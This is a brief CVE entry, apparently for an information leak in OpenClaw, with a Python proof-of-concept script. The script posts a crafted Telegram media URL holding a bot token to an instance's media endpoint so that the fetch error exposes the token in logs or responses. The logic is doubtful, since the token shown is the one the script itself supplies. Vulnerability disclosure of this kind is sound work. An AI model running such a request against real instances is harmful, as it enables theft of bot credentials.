CVE-2026-32982 OpenClaw信息泄露漏洞

# Proof of Concept: Triggering the error to leak token # This script simulates sending a request that causes a media fetch failure. import requests target_url = "https://example-openclaw-instance.com/api/media" # Malicious payload pointing to a non-existent file to trigger error payload = { "media_url": "https://api.telegram.org/file/bot123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11/invalid_file.jpg" } try: response = requests.post(target_url, json=payload) # If the server logs errors or returns them in the response: print("Response:", response.text) except Exception as e: print(e) # Expected behavior in vulnerable version: # Logs or response contains: 'Failed to fetch https://api.telegram.org/file/bot123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11/invalid_file.jpg' # The token '123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11' is now exposed.